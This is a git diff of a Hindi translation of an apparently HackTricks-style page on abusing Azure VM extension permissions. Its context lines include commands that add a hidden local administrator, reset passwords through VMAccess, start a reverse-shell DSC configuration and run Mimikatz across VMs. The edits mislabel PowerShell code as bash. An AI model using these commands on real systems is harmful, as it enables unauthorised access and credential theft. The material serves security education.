यह अनुमति वर्चुअल मशीनों में एक्सटेंशन को निष्पादित करने की अनुमति देती है जो **उन पर मनमाना कोड निष्पादित करने** की अनुमति देती है।\
|
||||
एक उदाहरण कस्टम एक्सटेंशन का दुरुपयोग करके VM में मनमाने कमांड निष्पादित करना:
|
||||
यह अनुमति वर्चुअल मशीनों में एक्सटेंशन निष्पादित करने की अनुमति देती है जो **उन पर मनमाना कोड निष्पादित करने** की अनुमति देती है।\
|
||||
VM में मनमाने कमांड निष्पादित करने के लिए कस्टम एक्सटेंशन का दुरुपयोग करने का उदाहरण:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -79,7 +79,7 @@ az vm extension set \
|
||||
आप अन्य पेलोड भी निष्पादित कर सकते हैं जैसे: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- VMAccess एक्सटेंशन का उपयोग करके पासवर्ड रीसेट करें
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
|
||||
```powershell
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
@@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये सभी आवश्यक अनुमतियाँ हैं **एक विशिष्ट प्रबंधित पहचान के साथ VM बनाने** और **एक पोर्ट खुला छोड़ने** के लिए (इस मामले में 22)। यह एक उपयोगकर्ता को एक VM बनाने और उससे कनेक्ट करने और **प्रबंधित पहचान टोकन चुराने** की अनुमति देता है ताकि इसे विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सके।
|
||||
ये सभी आवश्यक अनुमतियाँ हैं **एक विशिष्ट प्रबंधित पहचान के साथ VM बनाने** और **एक पोर्ट खुला छोड़ने** के लिए (इस मामले में 22)। यह एक उपयोगकर्ता को एक VM बनाने और उससे कनेक्ट करने और **प्रबंधित पहचान टोकन चुराने** की अनुमति देता है ताकि इसे बढ़ी हुई विशेषाधिकार प्राप्त हो सके।
|
||||
|
||||
स्थिति के आधार पर इस तकनीक का दुरुपयोग करने के लिए अधिक या कम अनुमतियों की आवश्यकता हो सकती है।
|
||||
```bash
|
||||
@@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
[**दस्तावेज़ों के अनुसार**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक व्यवस्थापक के रूप में प्रबंधित करने देती है। तो ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है...
|
||||
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) के अनुसार, यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक व्यवस्थापक के रूप में प्रबंधित करने देती है। तो ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user